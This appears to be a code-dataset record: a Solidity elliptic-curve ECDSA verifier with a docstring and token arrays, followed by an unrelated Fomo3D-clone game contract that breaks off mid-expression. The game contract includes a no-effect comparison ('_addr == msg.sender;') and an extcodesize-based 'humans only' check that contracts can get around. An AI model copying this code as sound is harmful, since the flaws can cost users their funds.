uint256 constant b=2; uint256 constant gx=5; uint256 constant gy=1; uint256 constant p=17; uint256 constant n=19; uint256 constant h=01; //signature parameters uint256 e=8; //message uint256 r=10; //signature uint256 s=13; //signature uint256 qx=9; //public key x-coordinate signer uint256 qy=16; //public key y-coordinate signer function testsignature() returns(bool) { return ecdsaverify(qx,qy,e,r,s); } */ function ecdsaverify(uint256 qx, uint256 qy, uint256 e, uint256 r, uint256 s) returns (bool) { if (!isPoint(qx,qy)) { return false; } //temporary variables uint256 w; uint256 u1; uint256 u2; uint256[3] memory T1; uint256[3] memory T2; w=invmod(s,n); u1=mulmod(e,w,n); u2=mulmod(r,w,n); T1=ecmul([gx,gy,1],u1); T2=ecmul([qx,qy,1],u2); T2=ecadd(T1,T2); if (r==JtoA(T2)[0]) { return true; } return false; } //function checks if point (x1,y1) is on curve, x1 and y1 affine coordinate parameters function isPoint(uint256 x1, uint256 y1) private returns (bool) { //point fulfills y^2=x^3+ax+b? if (mulmod(y1,y1,p) == addmod(mulmod(x1,mulmod(x1,x1,p),p),addmod(mulmod(a,x1,p),b,p),p)) { return (true); } else { return (false); } } // point addition for elliptic curve in jacobian coordinates // formula from https://en.wikibooks.org/wiki/Cryptography/Prime_Curve/Jacobian_Coordinates function ecadd(uint256[3] P, uint256[3] Q) private returns (uint256[3] R) { uint256 u1; uint256 u2; uint256 s1; uint256 s2; if (Q[0]==0 && Q[1]==0 && Q[2]==0) { return P; } u1 = mulmod(P[0],mulmod(Q[2],Q[2],p),p); u2 = mulmod(Q[0],mulmod(P[2],P[2],p),p); s1 = mulmod(P[1],mulmod(mulmod(Q[2],Q[2],p),Q[2],p),p); s2 = mulmod(Q[1],mulmod(mulmod(P[2],P[2],p),P[2],p),p); if (u1==u2) { if (s1 != s2) { R[0]=1; R[1]=1; R[2]=0; return R; } else { return ecdouble(P); } } uint256 h; uint256 r; h = addmod(u2,(p-u1),p); r = addmod(s2,(p-s1),p); R[0] = addmod(addmod(mulmod(r,r,p),(p-mulmod(h,mulmod(h,h,p),p)),p),(p-mulmod(2,mulmod(u1,mulmod(h,h,p),p),p)),p); R[1] = addmod(mulmod(r,addmod(mulmod(u1,mulmod(h,h,p),p),(p-R[0]),p),p),(p-mulmod(s1,mulmod(h,mulmod(h,h,p),p),p)),p); R[2] = mulmod(h,mulmod(P[2],Q[2],p),p); return (R); } //point doubling for elliptic curve in jacobian coordinates //formula from https://en.wikibooks.org/wiki/Cryptography/Prime_Curve/Jacobian_Coordinates function ecdouble(uint256[3] P) private returns(uint256[3] R){ //return point at infinity if (P[1]==0) { R[0]=1; R[1]=1; R[2]=0; return (R); } uint256 m; uint256 s; s = mulmod(4,mulmod(P[0],mulmod(P[1],P[1],p),p),p); m = addmod(mulmod(3,mulmod(P[0],P[0],p),p),mulmod(a,mulmod(mulmod(P[2],P[2],p),mulmod(P[2],P[2],p),p),p),p); R[0] = addmod(mulmod(m,m,p),(p-mulmod(s,2,p)),p); R[1] = addmod(mulmod(m,addmod(s,(p-R[0]),p),p),(p-mulmod(8,mulmod(mulmod(P[1],P[1],p),mulmod(P[1],P[1],p),p),p)),p); R[2] = mulmod(2,mulmod(P[1],P[2],p),p); return (R); } // function for elliptic curve multiplication in jacobian coordinates using Double-and-add method function ecmul(uint256[3] P, uint256 d) private returns (uint256[3] R) { R[0]=0; R[1]=0; R[2]=0; //return (0,0) if d=0 or (x1,y1)=(0,0) if (d == 0 || ((P[0]==0) && (P[1]==0)) ) { return (R); } uint256[3] memory T; T[0]=P[0]; //x-coordinate temp T[1]=P[1]; //y-coordinate temp T[2]=P[2]; //z-coordiante temp while (d != 0) { if ((d & 1) == 1) { //if last bit is 1 add T to result R = ecadd(T,R); } T = ecdouble(T); //double temporary coordinates d=d/2; //"cut off" last bit } return R; } //jacobian to affine coordinates transfomration function JtoA(uint256[3] P) private returns (uint256[2] Pnew) { uint zInv = invmod(P[2],p); uint zInv2 = mulmod(zInv, zInv, p); Pnew[0] = mulmod(P[0], zInv2, p); Pnew[1] = mulmod(P[1], mulmod(zInv,zInv2,p), p); } //computing inverse by using euclidean algorithm function invmod(uint256 a, uint p) private returns(uint256 invA) { uint256 t=0; uint256 newT=1; uint256 r=p; uint256 newR=a; uint256 q; while (newR != 0) { q = r / newR; (t, newT) = (newT, addmod(t , (p - mulmod(q, newT,p)) , p)); (r, newR) = (newR, r - q * newR ); } return t; } }
point addition for elliptic curve in jacobian coordinates formula from https:en.wikibooks.org/wiki/Cryptography/Prime_Curve/Jacobian_Coordinates
function ecadd(uint256[3] P, uint256[3] Q) private returns (uint256[3] R) { uint256 u1; uint256 u2; uint256 s1; uint256 s2; if (Q[0]==0 && Q[1]==0 && Q[2]==0) { return P; } u1 = mulmod(P[0],mulmod(Q[2],Q[2],p),p); u2 = mulmod(Q[0],mulmod(P[2],P[2],p),p); s1 = mulmod(P[1],mulmod(mulmod(Q[2],Q[2],p),Q[2],p),p); s2 = mulmod(Q[1],mulmod(mulmod(P[2],P[2],p),P[2],p),p); if (u1==u2) { if (s1 != s2) { R[0]=1; R[1]=1; R[2]=0; return R; } else { return ecdouble(P); } } uint256 h; uint256 r; h = addmod(u2,(p-u1),p); r = addmod(s2,(p-s1),p); R[0] = addmod(addmod(mulmod(r,r,p),(p-mulmod(h,mulmod(h,h,p),p)),p),(p-mulmod(2,mulmod(u1,mulmod(h,h,p),p),p)),p); R[1] = addmod(mulmod(r,addmod(mulmod(u1,mulmod(h,h,p),p),(p-R[0]),p),p),(p-mulmod(s1,mulmod(h,mulmod(h,h,p),p),p)),p); R[2] = mulmod(h,mulmod(P[2],Q[2],p),p); return (R); }
7,275,758
[ 1, 1153, 2719, 364, 415, 549, 21507, 8882, 316, 20138, 26968, 5513, 8013, 628, 2333, 30, 275, 18, 11999, 495, 1184, 87, 18, 3341, 19, 13044, 19, 22815, 15669, 19, 23327, 67, 9423, 19, 46, 1077, 26968, 67, 13431, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 6557, 1289, 12, 11890, 5034, 63, 23, 65, 453, 16, 2254, 5034, 63, 23, 65, 2238, 13, 3238, 1135, 261, 11890, 5034, 63, 23, 65, 534, 13, 288, 203, 203, 565, 2254, 5034, 582, 21, 31, 203, 565, 2254, 5034, 582, 22, 31, 203, 565, 2254, 5034, 272, 21, 31, 203, 565, 2254, 5034, 272, 22, 31, 203, 203, 565, 309, 261, 53, 63, 20, 65, 631, 20, 597, 2238, 63, 21, 65, 631, 20, 597, 2238, 63, 22, 65, 631, 20, 13, 288, 203, 1377, 327, 453, 31, 203, 565, 289, 203, 203, 565, 582, 21, 273, 14064, 1711, 12, 52, 63, 20, 6487, 16411, 1711, 12, 53, 63, 22, 6487, 53, 63, 22, 6487, 84, 3631, 84, 1769, 203, 565, 582, 22, 273, 14064, 1711, 12, 53, 63, 20, 6487, 16411, 1711, 12, 52, 63, 22, 6487, 52, 63, 22, 6487, 84, 3631, 84, 1769, 203, 565, 272, 21, 273, 14064, 1711, 12, 52, 63, 21, 6487, 16411, 1711, 12, 16411, 1711, 12, 53, 63, 22, 6487, 53, 63, 22, 6487, 84, 3631, 53, 63, 22, 6487, 84, 3631, 84, 1769, 203, 565, 272, 22, 273, 14064, 1711, 12, 53, 63, 21, 6487, 16411, 1711, 12, 16411, 1711, 12, 52, 63, 22, 6487, 52, 63, 22, 6487, 84, 3631, 52, 63, 22, 6487, 84, 3631, 84, 1769, 203, 203, 565, 309, 261, 89, 21, 631, 89, 22, 13, 288, 203, 1377, 309, 261, 87, 21, 480, 272, 22, 13, 288, 203, 3639, 534, 63, 20, 65, 33, 21, 31, 203, 2 ]
pragma solidity ^0.4.24; contract F3Devents { // fired whenever a player registers a name event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); // fired at end of buy or reload event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); // fired whenever theres a withdraw event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); // fired whenever a withdraw forces end round to be ran event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); // (fomo3d short only) fired whenever a player tries a buy after round timer // hit zero, and causes end round to be ran. event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); // (fomo3d short only) fired whenever a player tries a reload after round timer // hit zero, and causes end round to be ran. event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); // fired whenever an affiliate is paid event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); // received pot swap deposit event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } //============================================================================== // _ _ _ _|_ _ _ __|_ _ _ _|_ _ . // (_(_)| | | | (_|(_ | _\(/_ | |_||_) . //====================================|========================================= contract modularShort is F3Devents {} contract F3DNEW is modularShort { using SafeMath for *; using NameFilter for string; using F3DKeysCalcShort for uint256; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x9Aa6C2FBF1C610670Ba575c76EcF37E3aA0FfEd0); //============================================================================== // _ _ _ |`. _ _ _ |_ | _ _ . // (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings) //=================_|=========================================================== address private admin = msg.sender; string constant public name = "F3DTOP"; string constant public symbol = "F3DTOP"; uint256 private rndExtra_ = 0; // length of the very first ICO uint256 private rndGap_ = 2 minutes; // length of ICO phase, set to 1 year for EOS. uint256 constant private rndInit_ = 18 minutes; // round timer starts at this uint256 constant private rndInc_ = 1 seconds; // every full key purchased adds this much to the timer uint256 constant private rndMax_ = 30 minutes; // max length a round timer can be //============================================================================== // _| _ _|_ _ _ _ _|_ _ . // (_|(_| | (_| _\(/_ | |_||_) . (data used to store game info that changes) //=============================|================================================ uint256 public airDropPot_; // person who gets the airdrop wins part of this pot uint256 public airDropTracker_ = 0; // incremented each time a "qualified" tx occurs. used to determine winning air drop uint256 public rID_; // round id number / total rounds that have happened //**************** // PLAYER DATA //**************** mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name mapping (uint256 => F3Ddatasets.Player) public plyr_; // (pID => data) player data mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; // (pID => rID => data) player round data by player id & round id mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amongst any name you own) //**************** // ROUND DATA //**************** mapping (uint256 => F3Ddatasets.Round) public round_; // (rID => data) round data mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; // (rID => tID => data) eth in per team, by round id and team id //**************** // TEAM FEE DATA //**************** mapping (uint256 => F3Ddatasets.TeamFee) public fees_; // (team => fees) fee distribution by team mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; // (team => fees) pot split distribution by team //============================================================================== // _ _ _ __|_ _ __|_ _ _ . // (_(_)| |_\ | | |_|(_ | (_)| . (initial data setup upon contract deploy) //============================================================================== constructor() public { // Team allocation structures // 0 = whales // 1 = bears // 2 = sneks // 3 = bulls // Team allocation percentages // (F3D, P3D) + (Pot , Referrals, Community) // Referrals / Community rewards are mathematically designed to come from the winner's share of the pot. fees_[0] = F3Ddatasets.TeamFee(22,6); //50% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot fees_[1] = F3Ddatasets.TeamFee(38,0); //43% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot fees_[2] = F3Ddatasets.TeamFee(52,10); //20% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot fees_[3] = F3Ddatasets.TeamFee(68,8); //35% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot // how to split up the final pot based on which team was picked // (F3D, P3D) potSplit_[0] = F3Ddatasets.PotSplit(15,10); //48% to winner, 25% to next round, 2% to com potSplit_[1] = F3Ddatasets.PotSplit(25,0); //48% to winner, 25% to next round, 2% to com potSplit_[2] = F3Ddatasets.PotSplit(20,20); //48% to winner, 10% to next round, 2% to com potSplit_[3] = F3Ddatasets.PotSplit(30,10); //48% to winner, 10% to next round, 2% to com } //============================================================================== // _ _ _ _|. |`. _ _ _ . // | | |(_)(_||~|~|(/_| _\ . (these are safety checks) //============================================================================== /** * @dev used to make sure no one can interact with contract until it has * been activated. */ modifier isActivated() { require(activated_ == true, "its not ready yet. check ?eta in discord"); _; } /** * @dev prevents contracts from interacting with fomo3d */ modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } /** * @dev sets boundaries for incoming tx */ modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, "pocket lint: not a valid currency"); require(_eth <= 100000000000000000000000, "no vitalik, no"); _; } //============================================================================== // _ |_ |. _ |` _ __|_. _ _ _ . // |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract) //====|========================================================================= /** * @dev emergency buy uses last stored affiliate ID and team snek */ function() isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // buy core buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } /** * @dev converts all incoming ethereum to keys. * -functionhash- 0x8f38f309 (using ID for affiliate) * -functionhash- 0x98a0871d (using address for affiliate) * -functionhash- 0xa65b37a1 (using name for affiliate) * @param _affCode the ID/address/name of the player who gets the affiliate fee * @param _team what team is the player playing for? */ function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz if (_affCode == 0 || _affCode == _pID) { // use last stored affiliate code _affCode = plyr_[_pID].laff; // if affiliate code was given & its not the same as previously stored } else if (_affCode != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affCode; } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == address(0) || _affCode == msg.sender) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == '' || _affCode == plyr_[_pID].name) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affID, _team, _eventData_); } /** * @dev essentially the same as buy, but instead of you sending ether * from your wallet, it uses your unwithdrawn earnings. * -functionhash- 0x349cdcac (using ID for affiliate) * -functionhash- 0x82bfc739 (using address for affiliate) * -functionhash- 0x079ce327 (using name for affiliate) * @param _affCode the ID/address/name of the player who gets the affiliate fee * @param _team what team is the player playing for? * @param _eth amount of earnings to use (remainder returned to gen vault) */ function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz if (_affCode == 0 || _affCode == _pID) { // use last stored affiliate code _affCode = plyr_[_pID].laff; // if affiliate code was given & its not the same as previously stored } else if (_affCode != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affCode; } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == address(0) || _affCode == msg.sender) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == '' || _affCode == plyr_[_pID].name) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affID, _team, _eth, _eventData_); } /** * @dev withdraws all of your earnings. * -functionhash- 0x3ccfd60b */ function withdraw() isActivated() isHuman() public { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // setup temp var for player eth uint256 _eth; // check to see if round has ended and no one has run round end yet if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // end the round (distributes pot) round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // get their earnings _eth = withdrawEarnings(_pID); // gib moni if (_eth > 0) plyr_[_pID].addr.transfer(_eth); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire withdraw and distribute event emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); // in any other situation } else { // get their earnings _eth = withdrawEarnings(_pID); // gib moni if (_eth > 0) plyr_[_pID].addr.transfer(_eth); // fire withdraw event emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } /** * @dev use these to register names. they are just wrappers that will send the * registration requests to the PlayerBook contract. So registering here is the * same as registering there. UI will always display the last name you registered. * but you will still own all previously registered names to use as affiliate * links. * - must pay a registration fee. * - name must be unique * - names will be converted to lowercase * - name cannot start or end with a space * - cannot have more than 1 space in a row * - cannot be only numbers * - cannot start with 0x * - name must be at least 1 char * - max length of 32 characters long * - allowed characters: a-z, 0-9, and space * -functionhash- 0x921dec21 (using ID for affiliate) * -functionhash- 0x3ddd4698 (using address for affiliate) * -functionhash- 0x685ffd83 (using name for affiliate) * @param _nameString players desired name * @param _affCode affiliate ID, address, or name of who referred you * @param _all set to true if you want this to push your info to all games * (this might cost a lot of gas) */ function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } //============================================================================== // _ _ _|__|_ _ _ _ . // (_|(/_ | | (/_| _\ . (for UI & viewing things on etherscan) //=====_|======================================================================= /** * @dev return the price buyer will pay for next 1 individual key. * -functionhash- 0x018a25e8 * @return price for next key bought (in wei format) */ function getBuyPrice() public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else // rounds over. need price for new round return ( 75000000000000 ); // init } /** * @dev returns time left. dont spam this, you'll ddos yourself from your node * provider * -functionhash- 0xc7e284b8 * @return time left in seconds */ function getTimeLeft() public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } /** * @dev returns player earnings per vaults * -functionhash- 0x63066434 * @return winnings vault * @return general vault * @return affiliate vault */ function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { // setup local rID uint256 _rID = rID_; // if round has ended. but round end has not been run (so contract has not distributed winnings) if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { // if player is winner if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); // if player is not the winner } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } // if round is still going on, or round has ended and round end has been ran } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } /** * solidity hates stack limits. this lets us avoid that hate */ function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } /** * @dev returns all current round info needed for front end * -functionhash- 0x747dff42 * @return eth invested during ICO phase * @return round id * @return total keys for round * @return time round ends * @return time round started * @return current pot * @return current team ID & player ID in lead * @return current player in leads address * @return current player in leads name * @return whales eth in for round * @return bears eth in for round * @return sneks eth in for round * @return bulls eth in for round * @return airdrop tracker # & airdrop pot */ function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { // setup local rID uint256 _rID = rID_; return ( round_[_rID].ico, //0 _rID, //1 round_[_rID].keys, //2 round_[_rID].end, //3 round_[_rID].strt, //4 round_[_rID].pot, //5 (round_[_rID].team + (round_[_rID].plyr * 10)), //6 plyr_[round_[_rID].plyr].addr, //7 plyr_[round_[_rID].plyr].name, //8 rndTmEth_[_rID][0], //9 rndTmEth_[_rID][1], //10 rndTmEth_[_rID][2], //11 rndTmEth_[_rID][3], //12 airDropTracker_ + (airDropPot_ * 1000) //13 ); } /** * @dev returns player info based on address. if no address is given, it will * use msg.sender * -functionhash- 0xee0b5d8b * @param _addr address of the player you want to lookup * @return player ID * @return player name * @return keys owned (current round) * @return winnings vault * @return general vault * @return affiliate vault * @return player round eth */ function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { // setup local rID uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, //0 plyr_[_pID].name, //1 plyrRnds_[_pID][_rID].keys, //2 plyr_[_pID].win, //3 (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), //4 plyr_[_pID].aff, //5 plyrRnds_[_pID][_rID].eth //6 ); } //============================================================================== // _ _ _ _ | _ _ . _ . // (_(_)| (/_ |(_)(_||(_ . (this + tools + calcs + modules = our softwares engine) //=====================_|======================================================= /** * @dev logic runs whenever a buy order is executed. determines how to handle * incoming eth depending on if we are in an active round or not */ function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // if round is active if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { // call core core(_rID, _pID, msg.value, _affID, _team, _eventData_); // if round is not active } else { // check to see if end round needs to be ran if (_now > round_[_rID].end && round_[_rID].ended == false) { // end the round (distributes pot) & start new round round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire buy and distribute event emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } // put eth in players vault plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } /** * @dev logic runs whenever a reload order is executed. determines how to handle * incoming eth depending on if we are in an active round or not */ function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // if round is active if (_now > round_[_rID].strt 